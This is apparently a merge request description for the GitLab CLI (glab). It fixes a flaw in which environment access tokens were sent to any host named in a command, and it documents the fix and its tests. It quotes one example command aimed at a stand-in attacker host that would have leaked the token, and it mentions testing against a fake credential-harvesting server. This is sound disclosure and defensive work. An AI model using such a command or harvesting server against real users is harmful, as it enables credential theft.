fix(config): send environment credentials only to trusted hosts
Description
Fixes a credential-disclosure vulnerability: glab sent the user's environment-provided access token (GITLAB_TOKEN/GITLAB_ACCESS_TOKEN/OAUTH_TOKEN, and CI_JOB_TOKEN under CI auto-login) to any host named in a command argument. An ordinary-looking command such as
glab repo view https://attacker.example.com/acme/awesome-toolexfiltrated the token to a server the user never authenticated to, with no visible sign. The token keys are declared ScopePerHost in internal/config/schema.go, but the environment branch of fileConfig.GetWithSource resolved them globally, before any per-host lookup.
What changed
internal/config/config.go: environment-provided credentials (token,job_token, and theis_oauth2scheme flag, including aliases) now resolve only for trusted hosts — the default host (the globalhostkey, which may come fromGITLAB_HOST/GITLAB_URI/GL_HOST, orCI_SERVER_FQDNunder CI auto-login, falling back togitlab.com) or a host present in the configuration'shostsmap. This mirrors the fix GitHub shipped for CVE-2024-53858 ingh2.63.0. A new exportedconfig.IsTrustedHostholds the trust check.internal/cmdutils/factory.go:ApiClientprints a stderr warning when a token environment variable is set but was withheld for the target host, so the situation stays visible and legitimate users get an actionable hint (glab auth login --hostname <host>).- Non-credential per-host keys (
api_host,client_id,subfolder, ...) intentionally keep resolving globally: they are not secrets, and flows such asglab auth loginread them (for exampleGITLAB_CLIENT_ID) for a host that is not configured yet. internal/config/schema.go+ regenerated docs: thetokendescription now states that an environment-provided token is sent only to the default host or a host in the configuration file.
With this change, the command above completes unauthenticated (no credential headers are sent) and prints:
! GITLAB_TOKEN is set, but "attacker.example.com" is neither the default host nor a configured host, so glab did not send the token to it. To authenticate to this host, run glab auth login --hostname attacker.example.com.Out of scope here: the nil-pointer panic on crafted API responses mentioned in the report — a separate robustness bug.
Related Issues
Closes #8545
How has this been tested?
- New unit tests in
internal/config(Test_GetWithSource_CredentialEnvVarsRequireTrustedHost,TestIsTrustedHost) cover: default-host fallback to gitlab.com, hosts-map membership, default host from config file and fromGITLAB_HOST, case-insensitivity, key aliases,is_oauth2scoping, CI auto-login (CI_JOB_TOKENresolves for theCI_SERVER_FQDNhost only), non-credential keys still resolving globally, and empty-hostname reads. - New client-level test
TestNewClientFromConfig_EnvTokenScopedToTrustedHostsininternal/apipins that a client for an unconfigured host carries no credential while trusted hosts still receive the environment token. - New factory test
TestFactory_ApiClientEnvTokenWarningininternal/cmdutilspins the stderr warning behavior. - Existing tests that encoded the old behavior (
internal/api/client_test.go,internal/api/oauth_provenance_test.go) were updated to make their hosts trusted viaGITLAB_HOST/CI server variables. make test,make test-changed,make lint, and the lefthook pre-push suite (build, go-lint, go-test, check-generated, vale) pass. (markdownlintandlycheewere excluded from the push hook in this environment: they fail identically on pristinemain— lychee cannot execute here, and the markdownlint findings are in files this MR does not touch.)- End-to-end against a credential-harvesting fake GitLab host (the reporter's PoC shape:
hosts: {}, token only in the environment, host passed as a command argument):- pre-fix build: the fake server harvests the token;
- this build: no credential is sent, the warning above is printed, and the command still returns the (decoy) project data;
- control: with
GITLAB_HOSTpointing at the server (trusted host), the token is sent as before.
Screenshots (if appropriate):
N/A